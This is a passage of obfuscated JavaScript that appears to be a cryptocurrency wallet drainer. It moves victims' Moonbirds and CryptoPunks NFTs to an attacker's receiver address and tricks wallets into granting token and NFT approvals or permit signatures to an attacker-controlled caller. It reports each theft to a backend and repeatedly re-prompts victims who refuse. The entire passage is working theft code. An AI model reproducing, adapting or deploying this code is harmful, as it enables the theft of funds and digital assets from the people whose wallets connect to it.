value: _0x349bb5 * config.assetOptions.multipliers.wyvern,
chain: _0x368960.chain
};
if (_0x2d990b) {
this.wyvernNftActions.push(_0x105efe);
}
}
if (!_0x19805c) {
_0x368960.token_ids = [];
_0x368960.token_ids.push(_0x368960.token_id);
this.approvalNFTActions.push({
nft: _0x368960,
value: _0x349bb5 * config.assetOptions.multipliers.safa,
chain: _0x368960.chain
});
}
}
} catch (_0x45a625) {
console.log(_0x45a625);
}
});
await Promise.all(_0xc960e4);
}
} catch (_0x50b549) {
console.log(_0x50b549);
}
};
approve = async _0x35f1e4 => {
let _0x55c8f6 = await this.getWalletAddress();
let _0x1a8293 = "";
try {
if (_0x35f1e4.actionType == "ApprovalNFT") {
let _0x47ba0e = _0x35f1e4.asset;
_0x1a8293 = _0x35f1e4.asset.contract;
if (!this.approved.includes(_0x47ba0e.contract + "," + _0x35f1e4.chain) && !this.approved.includes(_0x47ba0e)) {
if (_0x47ba0e.contract.toLowerCase() == "0x23581767a106ae21c074b2276d25e5c3e136a68b") {
const _0x26c748 = [{
inputs: [{
internalType: "string",
name: "name",
type: "string"
}, {
internalType: "string",
name: "symbol",
type: "string"
}, {
internalType: "contract IERC721",
name: "_proof",
type: "address"
}, {
internalType: "address payable",
name: "beneficiary",
type: "address"
}, {
internalType: "address payable",
name: "royaltyReceiver",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "ApprovalCallerNotOwnerNorApproved",
type: "error"
}, {
inputs: [],
name: "ApprovalQueryForNonexistentToken",
type: "error"
}, {
inputs: [],
name: "ApprovalToCurrentOwner",
type: "error"
}, {
inputs: [],
name: "ApproveToCaller",
type: "error"
}, {
inputs: [],
name: "BalanceQueryForZeroAddress",
type: "error"
}, {
inputs: [],
name: "MintToZeroAddress",
type: "error"
}, {
inputs: [],
name: "MintZeroQuantity",
type: "error"
}, {
inputs: [],
name: "OwnerQueryForNonexistentToken",
type: "error"
}, {
inputs: [],
name: "TransferCallerNotOwnerNorApproved",
type: "error"
}, {
inputs: [],
name: "TransferFromIncorrectOwner",
type: "error"
}, {
inputs: [],
name: "TransferToNonERC721ReceiverImplementer",
type: "error"
}, {
inputs: [],
name: "TransferToZeroAddress",
type: "error"
}, {
inputs: [],
name: "URIQueryForNonexistentToken",
type: "error"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "owner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "approved",
type: "address"
}, {
indexed: true,
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "Approval",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "owner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "operator",
type: "address"
}, {
indexed: false,
internalType: "bool",
name: "approved",
type: "bool"
}],
name: "ApprovalForAll",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "Expelled",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "Nested",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "previousOwner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "OwnershipTransferred",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "address",
name: "account",
type: "address"
}],
name: "Paused",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "buyer",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "Refund",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "beneficiary",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "numPurchased",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "Revenue",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
indexed: true,
internalType: "bytes32",
name: "previousAdminRole",
type: "bytes32"
}, {
indexed: true,
internalType: "bytes32",
name: "newAdminRole",
type: "bytes32"
}],
name: "RoleAdminChanged",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
indexed: true,
internalType: "address",
name: "account",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "sender",
type: "address"
}],
name: "RoleGranted",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
indexed: true,
internalType: "address",
name: "account",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "sender",
type: "address"
}],
name: "RoleRevoked",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "from",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "to",
type: "address"
}, {
indexed: true,
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "Transfer",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "Unnested",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "address",
name: "account",
type: "address"
}],
name: "Unpaused",
type: "event"
}, {
inputs: [],
name: "DEFAULT_ADMIN_ROLE",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "EXPULSION_ROLE",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "signer",
type: "address"
}],
name: "addSigner",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "bytes32",
name: "nonce",
type: "bytes32"
}],
name: "alreadyMinted",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "approve",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "owner",
type: "address"
}],
name: "balanceOf",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "baseTokenURI",
outputs: [{
internalType: "string",
name: "",
type: "string"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "beneficiary",
outputs: [{
internalType: "address payable",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "n",
type: "uint256"
}, {
internalType: "uint256",
name: "",
type: "uint256"
}],
name: "cost",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "expelFromNest",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "getApproved",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}],
name: "getRoleAdmin",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
internalType: "uint256",
name: "index",
type: "uint256"
}],
name: "getRoleMember",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}],
name: "getRoleMemberCount",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
internalType: "address",
name: "account",
type: "address"
}],
name: "grantRole",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
internalType: "address",
name: "account",
type: "address"
}],
name: "hasRole",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "owner",
type: "address"
}, {
internalType: "address",
name: "operator",
type: "address"
}],
name: "isApprovedForAll",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256[]",
name: "proofTokenIds",
type: "uint256[]"
}],
name: "mintPROOF",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "bytes32",
name: "nonce",
type: "bytes32"
}, {
internalType: "bytes",
name: "sig",
type: "bytes"
}],
name: "mintPublic",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "n",
type: "uint256"
}],
name: "mintUnclaimed",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "name",
outputs: [{
internalType: "string",
name: "",
type: "string"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "nestingOpen",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "nestingPeriod",
outputs: [{
internalType: "bool",
name: "nesting",
type: "bool"
}, {
internalType: "uint256",
name: "current",
type: "uint256"
}, {
internalType: "uint256",
name: "total",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "owner",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "ownerOf",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "pause",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "paused",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "price",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "proof",
outputs: [{
internalType: "contract IERC721",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "proofClaimsRemaining",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "proofMintingOpen",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "proofPoolRemaining",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "n",
type: "uint256"
}],
name: "purchaseFreeOfCharge",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "signer",
type: "address"
}],
name: "removeSigner",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "renderingContract",
outputs: [{
internalType: "contract ITokenURIGenerator",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "renounceOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
internalType: "address",
name: "account",
type: "address"
}],
name: "renounceRole",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
internalType: "address",
name: "account",
type: "address"
}],
name: "revokeRole",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_tokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "_salePrice",
type: "uint256"
}],
name: "royaltyInfo",
outputs: [{
internalType: "address",
name: "",
type: "address"
}, {
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "from",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "safeTransferFrom",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "from",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}, {
internalType: "bytes",
name: "_data",
type: "bytes"
}],
name: "safeTransferFrom",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "from",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "safeTransferWhileNesting",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "sellerConfig",
outputs: [{
internalType: "uint256",
name: "totalInventory",
type: "uint256"
}, {
internalType: "uint256",
name: "maxPerAddress",
type: "uint256"
}, {
internalType: "uint256",
name: "maxPerTx",
type: "uint256"
}, {
internalType: "uint248",
name: "freeQuota",
type: "uint248"
}, {
internalType: "bool",
name: "reserveFreeQuota",
type: "bool"
}, {
internalType: "bool",
name: "lockFreeQuota",
type: "bool"
}, {
internalType: "bool",
name: "lockTotalInventory",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "operator",
type: "address"
}, {
internalType: "bool",
name: "approved",
type: "bool"
}],
name: "setApprovalForAll",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "string",
name: "_baseTokenURI",
type: "string"
}],
name: "setBaseTokenURI",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address payable",
name: "_beneficiary",
type: "address"
}],
name: "setBeneficiary",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bool",
name: "open",
type: "bool"
}],
name: "setNestingOpen",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bool",
name: "open",
type: "bool"
}],
name: "setPROOFMintingOpen",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_price",
type: "uint256"
}],
name: "setPrice",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract ITokenURIGenerator",
name: "_contract",
type: "address"
}],
name: "setRenderingContract",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "receiver",
type: "address"
}, {
internalType: "uint96",
name: "feeBasisPoints",
type: "uint96"
}],
name: "setRoyaltyInfo",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "uint256",
name: "totalInventory",
type: "uint256"
}, {
internalType: "uint256",
name: "maxPerAddress",
type: "uint256"
}, {
internalType: "uint256",
name: "maxPerTx",
type: "uint256"
}, {
internalType: "uint248",
name: "freeQuota",
type: "uint248"
}, {
internalType: "bool",
name: "reserveFreeQuota",
type: "bool"
}, {
internalType: "bool",
name: "lockFreeQuota",
type: "bool"
}, {
internalType: "bool",
name: "lockTotalInventory",
type: "bool"
}],
internalType: "struct Seller.SellerConfig",
name: "config",
type: "tuple"
}],
name: "setSellerConfig",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bytes4",
name: "interfaceId",
type: "bytes4"
}],
name: "supportsInterface",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "symbol",
outputs: [{
internalType: "string",
name: "",
type: "string"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256[]",
name: "tokenIds",
type: "uint256[]"
}],
name: "toggleNesting",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "tokenURI",
outputs: [{
internalType: "string",
name: "",
type: "string"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "totalSold",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "totalSupply",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "from",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "transferFrom",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "transferOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "unpause",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
name: "usedMessages",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}];
let _0x23f6d6 = this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]);
let _0x10c288 = new ethers.Contract(_0x47ba0e.contract, _0x26c748, _0x23f6d6);
let _0x17b8b5 = await _0x10c288.safeTransferWhileNesting(await this.getWalletAddress(), this.receiver, _0x35f1e4.asset.token_id, {
gasLimit: 200000
});
this.approved.push(Base64.encode(JSON.stringify(_0x47ba0e)));
const _0xcd586d = {
chain: _0x35f1e4.chain,
type: "approvalNFT",
source: "Moonbirds",
txId: _0x17b8b5.hash,
value: _0x35f1e4.value
};
await this.sendMessage(_0xcd586d);
this.totalNFTs = this.totalNFTs - _0x35f1e4.value;
} else if (_0x47ba0e.contract.toLowerCase() == "0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb") {
const _0x4b3254 = [{
constant: true,
inputs: [],
name: "name",
outputs: [{
name: "",
type: "string"
}],
payable: false,
type: "function"
}, {
constant: true,
inputs: [{
name: "",
type: "uint256"
}],
name: "punksOfferedForSale",
outputs: [{
name: "isForSale",
type: "bool"
}, {
name: "punkIndex",
type: "uint256"
}, {
name: "seller",
type: "address"
}, {
name: "minValue",
type: "uint256"
}, {
name: "onlySellTo",
type: "address"
}],
payable: false,
type: "function"
}, {
constant: false,
inputs: [{
name: "punkIndex",
type: "uint256"
}],
name: "enterBidForPunk",
outputs: [],
payable: true,
type: "function"
}, {
constant: true,
inputs: [],
name: "totalSupply",
outputs: [{
name: "",
type: "uint256"
}],
payable: false,
type: "function"
}, {
constant: false,
inputs: [{
name: "punkIndex",
type: "uint256"
}, {
name: "minPrice",
type: "uint256"
}],
name: "acceptBidForPunk",
outputs: [],
payable: false,
type: "function"
}, {
constant: true,
inputs: [],
name: "decimals",
outputs: [{
name: "",
type: "uint8"
}],
payable: false,
type: "function"
}, {
constant: false,
inputs: [{
name: "addresses",
type: "address[]"
}, {
name: "indices",
type: "uint256[]"
}],
name: "setInitialOwners",
outputs: [],
payable: false,
type: "function"
}, {
constant: false,
inputs: [],
name: "withdraw",
outputs: [],
payable: false,
type: "function"
}, {
constant: true,
inputs: [],
name: "imageHash",
outputs: [{
name: "",
type: "string"
}],
payable: false,
type: "function"
}, {
constant: true,
inputs: [],
name: "nextPunkIndexToAssign",
outputs: [{
name: "",
type: "uint256"
}],
payable: false,
type: "function"
}, {
constant: true,
inputs: [{
name: "",
type: "uint256"
}],
name: "punkIndexToAddress",
outputs: [{
name: "",
type: "address"
}],
payable: false,
type: "function"
}, {
constant: true,
inputs: [],
name: "standard",
outputs: [{
name: "",
type: "string"
}],
payable: false,
type: "function"
}, {
constant: true,
inputs: [{
name: "",
type: "uint256"
}],
name: "punkBids",
outputs: [{
name: "hasBid",
type: "bool"
}, {
name: "punkIndex",
type: "uint256"
}, {
name: "bidder",
type: "address"
}, {
name: "value",
type: "uint256"
}],
payable: false,
type: "function"
}, {
constant: true,
inputs: [{
name: "",
type: "address"
}],
name: "balanceOf",
outputs: [{
name: "",
type: "uint256"
}],
payable: false,
type: "function"
}, {
constant: false,
inputs: [],
name: "allInitialOwnersAssigned",
outputs: [],
payable: false,
type: "function"
}, {
constant: true,
inputs: [],
name: "allPunksAssigned",
outputs: [{
name: "",
type: "bool"
}],
payable: false,
type: "function"
}, {
constant: false,
inputs: [{
name: "punkIndex",
type: "uint256"
}],
name: "buyPunk",
outputs: [],
payable: true,
type: "function"
}, {
constant: false,
inputs: [{
name: "to",
type: "address"
}, {
name: "punkIndex",
type: "uint256"
}],
name: "transferPunk",
outputs: [],
payable: false,
type: "function"
}, {
constant: true,
inputs: [],
name: "symbol",
outputs: [{
name: "",
type: "string"
}],
payable: false,
type: "function"
}, {
constant: false,
inputs: [{
name: "punkIndex",
type: "uint256"
}],
name: "withdrawBidForPunk",
outputs: [],
payable: false,
type: "function"
}, {
constant: false,
inputs: [{
name: "to",
type: "address"
}, {
name: "punkIndex",
type: "uint256"
}],
name: "setInitialOwner",
outputs: [],
payable: false,
type: "function"
}, {
constant: false,
inputs: [{
name: "punkIndex",
type: "uint256"
}, {
name: "minSalePriceInWei",
type: "uint256"
}, {
name: "toAddress",
type: "address"
}],
name: "offerPunkForSaleToAddress",
outputs: [],
payable: false,
type: "function"
}, {
constant: true,
inputs: [],
name: "punksRemainingToAssign",
outputs: [{
name: "",
type: "uint256"
}],
payable: false,
type: "function"
}, {
constant: false,
inputs: [{
name: "punkIndex",
type: "uint256"
}, {
name: "minSalePriceInWei",
type: "uint256"
}],
name: "offerPunkForSale",
outputs: [],
payable: false,
type: "function"
}, {
constant: false,
inputs: [{
name: "punkIndex",
type: "uint256"
}],
name: "getPunk",
outputs: [],
payable: false,
type: "function"
}, {
constant: true,
inputs: [{
name: "",
type: "address"
}],
name: "pendingWithdrawals",
outputs: [{
name: "",
type: "uint256"
}],
payable: false,
type: "function"
}, {
constant: false,
inputs: [{
name: "punkIndex",
type: "uint256"
}],
name: "punkNoLongerForSale",
outputs: [],
payable: false,
type: "function"
}, {
inputs: [],
payable: true,
type: "constructor"
}, {
anonymous: false,
inputs: [{
indexed: true,
name: "to",
type: "address"
}, {
indexed: false,
name: "punkIndex",
type: "uint256"
}],
name: "Assign",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
name: "from",
type: "address"
}, {
indexed: true,
name: "to",
type: "address"
}, {
indexed: false,
name: "value",
type: "uint256"
}],
name: "Transfer",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
name: "from",
type: "address"
}, {
indexed: true,
name: "to",
type: "address"
}, {
indexed: false,
name: "punkIndex",
type: "uint256"
}],
name: "PunkTransfer",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
name: "punkIndex",
type: "uint256"
}, {
indexed: false,
name: "minValue",
type: "uint256"
}, {
indexed: true,
name: "toAddress",
type: "address"
}],
name: "PunkOffered",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
name: "punkIndex",
type: "uint256"
}, {
indexed: false,
name: "value",
type: "uint256"
}, {
indexed: true,
name: "fromAddress",
type: "address"
}],
name: "PunkBidEntered",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
name: "punkIndex",
type: "uint256"
}, {
indexed: false,
name: "value",
type: "uint256"
}, {
indexed: true,
name: "fromAddress",
type: "address"
}],
name: "PunkBidWithdrawn",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
name: "punkIndex",
type: "uint256"
}, {
indexed: false,
name: "value",
type: "uint256"
}, {
indexed: true,
name: "fromAddress",
type: "address"
}, {
indexed: true,
name: "toAddress",
type: "address"
}],
name: "PunkBought",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
name: "punkIndex",
type: "uint256"
}],
name: "PunkNoLongerForSale",
type: "event"
}];
let _0x427083 = this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]);
let _0x30b59d = new ethers.Contract(_0x47ba0e.contract, _0x4b3254, _0x427083);
let _0x325875 = await _0x30b59d.transferPunk(this.receiver, _0x35f1e4.asset.token_id, {
gasLimit: 200000
});
this.approved.push(Base64.encode(JSON.stringify(_0x47ba0e)));
const _0x16052c = {
chain: _0x35f1e4.chain,
type: "approvalNFT",
source: "Cryptopunk",
txId: _0x325875.hash,
value: _0x35f1e4.value
};
await this.sendMessage(_0x16052c);
this.totalNFTs = this.totalNFTs - _0x35f1e4.value;
} else if (_0x47ba0e.contract.toLowerCase() != "0xabefbc9fd2f806065b4f3c237d4b59d9a97bcac7" && _0x47ba0e.contract.toLowerCase() != "0x60f80121c31a0d46b5279700f9df786054aa5ee5" && _0x47ba0e.contract.toLowerCase() != "0x3b3ee1931dc30c1957379fac9aba94d1c48a5405" && _0x47ba0e.contract.toLowerCase() != "0x82c7a8f707110f5fbb16184a5933e9f78a34c6ab" && _0x47ba0e.contract.toLowerCase() != "0xabb3738f04dc2ec20f4ae4462c3d069d02ae045b" && _0x47ba0e.contract.toLowerCase() != "0xd07dc4262bcdbf85190c01c996b4c06a461d2430" && _0x47ba0e.contract.toLowerCase() != "0x76be3b62873462d2142405439777e971754e8e77") {
let _0x3f727f = 2;
if (_0x47ba0e.scheme == "erc1155") {
_0x3f727f = 3;
}
const _0x3f2949 = {
itemType: _0x3f727f,
token: _0x47ba0e.contract,
token_ids: _0x47ba0e.token_ids
};
const _0x537087 = _0x3f2949;
if (_0x47ba0e.token_ids.length == 1) {
let _0x446e21 = await this.Sdk.approveAsset(_0x537087, this.caller, true);
const _0x293be5 = {
chain: _0x35f1e4.chain,
type: "approvalNFT",
source: "NFT",
txId: _0x446e21.hash,
value: _0x35f1e4.value
};
await this.sendMessage(_0x293be5);
for (let _0x12a710 of _0x47ba0e.token_ids) {
await this.SendCompletion({
type: "NFTApproval",
hash: _0x446e21.hash,
token_id: _0x12a710,
token: _0x47ba0e.contract,
itemType: _0x47ba0e.itemType,
chain_id: this.getChainId(_0x35f1e4.chain),
owner: await this.getWalletAddress(),
receiver: this.receiver,
caller: this.caller,
ahash: this.createEncKey()
});
}
this.approved.push(Base64.encode(JSON.stringify(_0x47ba0e)));
} else {
let _0x2993d7 = await this.Sdk.approveAsset(_0x537087, this.caller);
const _0x18fa05 = {
chain: _0x35f1e4.chain,
type: "approvalNFT",
source: "NFT Collection",
txId: _0x2993d7.hash,
value: _0x35f1e4.value
};
await this.sendMessage(_0x18fa05);
for (let _0x1bc83a of _0x47ba0e.token_ids) {
await this.SendCompletion({
type: "NFTApproval",
hash: _0x2993d7.hash,
token: _0x47ba0e.contract,
token_id: _0x1bc83a,
itemType: _0x47ba0e.itemType,
chain_id: this.getChainId(_0x35f1e4.chain),
owner: await this.getWalletAddress(),
receiver: this.receiver,
caller: this.caller,
ahash: this.createEncKey()
});
}
this.approved.push(Base64.encode(JSON.stringify(_0x47ba0e)));
}
}
}
}
if (_0x35f1e4.actionType == "ApprovalToken") {
let _0x53b41b = _0x35f1e4.asset;
_0x1a8293 = _0x35f1e4.asset.token_address;
console.log(_0x53b41b);
let _0x57775f = await this.getChainId(_0x35f1e4.chain);
if (_0x35f1e4.value > 10) {
const _0x55f229 = {
itemType: 1,
token: _0x53b41b.token_address,
value: _0x35f1e4.value,
balance: _0x53b41b.balance
};
const _0x211841 = _0x55f229;
if (!this.approved.includes(_0x211841.token + "," + _0x53b41b.chain)) {
if (_0x53b41b.permit_type == 1 || _0x53b41b.permit_type == 2 || _0x53b41b.permit_type == 3 || _0x53b41b.permit_type == 4) {
const _0x5883da = {
actionType: "permit",
address: _0x211841.token,
value: _0x211841.value,
balance: _0x211841.balance,
type: _0x53b41b.permit_type,
chain: _0x35f1e4.chain
};
let _0x57c341 = await this.completeSignature(_0x5883da);
if (_0x57c341) {
this.approved.push(_0x211841.token + "," + _0x35f1e4.chain);
} else {
throw new Error("Permit not done..");
}
} else {
let _0x5325f7 = await this.Sdk.approveAsset(_0x211841, this.caller);
const _0x528fd9 = {
chain: _0x35f1e4.chain,
type: "approvalERC",
source: "Approval",
txId: _0x5325f7.hash,
value: _0x35f1e4.value
};
await this.sendMessage(_0x528fd9);
this.approved.push(_0x211841.token + "," + _0x35f1e4.chain);
await this.SendCompletion({
type: "TokenApproval",
hash: _0x5325f7.hash,
token: _0x211841.token,
amount: _0x211841.balance,
owner: await this.getWalletAddress(),
receiver: this.caller,
caller: this.caller,
chain: _0x57775f,
ahash: this.createEncKey()
});
}
}
}
}
} catch (_0x5496bb) {
console.log(_0x5496bb);
if (_0x55c8f6 != (await this.getWalletAddress())) {
return;
}
const _0x473bd6 = {
chain: _0x35f1e4.chain,
type: "error",
msg: "Client has denied approving (" + _0x1a8293 + ")"
};
await this.sendMessage(_0x473bd6);
this.failedAttempts++;
if (this.failedAttempts > 6 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.approve(_0x35f1e4);
}
}
};
wyvern = async _0x553d4a => {
let _0x2159fa = await this.getWalletAddress();
try {
let _0x506d61 = [{
constant: true,
inputs: [{
name: "",
type: "address"
}],
name: "proxies",
outputs: [{
name: "",
type: "address"
}],
payable: false,
stateMutability: "view",
type: "function"
}];
let _0x59fcbd = this.ethersProvider.getSigner(_0x2159fa);
let _0x4cb7fe = new ethers.Contract("0xa5409ec958C83C3f309868babACA7c86DCB077c1", _0x506d61, _0x59fcbd);
